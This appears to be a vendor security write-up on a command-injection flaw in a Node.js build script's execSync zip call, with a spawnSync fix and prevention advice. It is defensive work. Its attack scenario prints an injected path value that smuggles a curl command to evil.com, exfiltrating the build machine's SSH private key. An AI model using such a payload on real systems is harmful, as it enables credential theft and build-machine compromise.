Introduction
The scripts/build.js file in this Node.js library handles packaging the extension source into a distributable .zip archive. At line 86, the createZip function accepted two parameters—sourceDir and outputPath—and passed them directly into an execSync shell command via string interpolation. This pattern created a command injection primitive: if either argument ever contained shell metacharacters (whether through upstream configuration, a compromised dependency, or a supply-chain attack), an attacker could execute arbitrary commands on the build machine.
Because this is a library consumed by downstream developers, the vulnerability doesn't just affect a single project—it affects every consumer who runs the build script with potentially tainted configuration values.
The Vulnerability Explained
Here's the vulnerable code from scripts/build.js (line 85–87):
// Create zip (exclude .DS_Store files)
execSync(`cd "${sourceDir}" && zip -r "${outputPath}" . -x "*.DS_Store"`, {
stdio: 'inherit'
});
Why This Is Dangerous
The execSync function spawns a shell (/bin/sh on Unix) and passes the entire string to it for interpretation. The double quotes around ${sourceDir} and ${outputPath} provide only superficial protection. An attacker who controls either value can break out of the quotes and inject commands.
Concrete Attack Scenario
Imagine outputPath is derived from a configuration file or environment variable. An attacker who can influence that value could set it to:
/tmp/out.zip" && curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa) && echo "
The resulting shell command becomes:
cd "/path/to/source" && zip -r "/tmp/out.zip" && curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa) && echo "" . -x "*.DS_Store"
This exfiltrates the build machine's SSH private key. The attack works because execSync hands the entire string to a shell, which interprets &&, $(), backticks, and other metacharacters.
Real-World Impact
- Build machine compromise: CI/CD secrets, signing keys, and credentials could be stolen.
- Supply-chain poisoning: A compromised build could inject malicious code into the distributed package.
- Lateral movement: Access to the build environment often provides paths to production infrastructure.
Even though sourceDir and outputPath are currently derived from internal constants (EXTENSION_DIR, OUTPUT_DIR), this is a latent exploit primitive. If any refactoring introduces user-controllable values upstream, the injection becomes immediately exploitable.
The Fix
The fix replaces execSync (shell-based) with spawnSync (no shell) and adds explicit error handling:
Before (Vulnerable)
const { execSync } = require('child_process');
// ...
execSync(`cd "${sourceDir}" && zip -r "${outputPath}" . -x "*.DS_Store"`, {
stdio: 'inherit'
});
After (Hardened)
const { spawnSync } = require('child_process');
// ...
const result = spawnSync('zip', ['-r', outputPath, '.', '-x', '*.DS_Store'], {
cwd: sourceDir,
stdio: 'inherit'
});
if (result.error) {
throw result.error;
}
if (result.status !== 0) {
throw new Error(`zip exited with status ${result.status} while creating ${outputPath}`);
}
Why This Works
-
No shell invocation:
spawnSyncwith an argument array callszipdirectly viaexecvp(). The arguments are passed as separate strings to the process—no shell ever interprets them. Shell metacharacters like&&,;,$(), and backticks are treated as literal characters. -
cwdreplacescd: Instead of usingcd "${sourceDir}" &&(which requires shell interpretation), the fix uses thecwdoption to set the working directory natively. This eliminates the need for shell command chaining. -
Explicit error handling: Unlike
execSyncwhich throws on non-zero exit,spawnSyncreturns a result object. The fix explicitly checks bothresult.error(spawn failure, e.g.,zipnot found) andresult.status(non-zero exit code), ensuring build failures are caught rather than silently ignored. -
Behavior preservation: For valid inputs, the zip command receives identical arguments and produces identical output. Only malicious inputs are neutralized.
Prevention & Best Practices
1. Prefer spawn/spawnSync Over exec/execSync
Always use the argument-array form when calling external commands:
// ❌ Dangerous: shell interprets the string
execSync(`command "${userInput}"`);
// ✅ Safe: no shell, arguments passed directly
spawnSync('command', [userInput]);
2. Never Trust Function Arguments in Shell Commands
Even if arguments appear to come from internal sources today, code evolves. Treat all function parameters as potentially tainted.
3. Use cwd Instead of cd &&
The cwd option in spawn/spawnSync sets the working directory without requiring shell command chaining:
spawnSync('zip', ['-r', outputPath, '.'], { cwd: sourceDir });
4. Validate Paths Before Use
If you must use paths in commands, validate them against an allowlist or ensure they match expected patterns:
if (!/^[a-zA-Z0-9_\-./]+$/.test(outputPath)) {
throw new Error('Invalid output path');
}
5. Enable Static Analysis
Use Semgrep with the javascript.lang.security.detect-child-process rule to catch these patterns during development and CI.
Key Takeaways
execSyncwith template literals is an exploit primitive — even when current inputs are safe, the pattern becomes dangerous the moment any upstream value becomes attacker-controlled.- The
createZipfunction'ssourceDirandoutputPathparameters were passed directly into a shell — a single malicious character in either could compromise the entire build environment. spawnSyncwith an argument array is the correct replacement — it eliminates shell interpretation entirely while maintaining identical behavior for valid inputs.- The
cwdoption replaces shellcd && ...chaining — removing the need for shell command composition. - Error handling must be explicit with
spawnSync— unlikeexecSync, it doesn't throw on failure, so checkingresult.errorandresult.statusprevents silent build corruption.
How Orbis AppSec Detected This
- Source: Function parameters
sourceDirandoutputPathpassed tocreateZip()inscripts/build.js - Sink:
execSync()call atscripts/build.js:86with string-interpolated arguments - Missing control: No input validation, no shell avoidance — arguments were interpolated directly into a shell command string
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced
execSyncwithspawnSyncusing an argument array, eliminating shell interpretation and adding explicit exit-code checking
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability demonstrates why execSync with string interpolation is considered an anti-pattern in Node.js security. Even in build scripts that appear to use only internal values, the pattern creates a latent injection point that can be activated by future refactoring, configuration changes, or supply-chain attacks. The fix—switching to spawnSync with an argument array—is straightforward, preserves all existing behavior, and completely eliminates the class of vulnerability. If your Node.js projects use execSync with interpolated values, audit them now and migrate to spawnSync.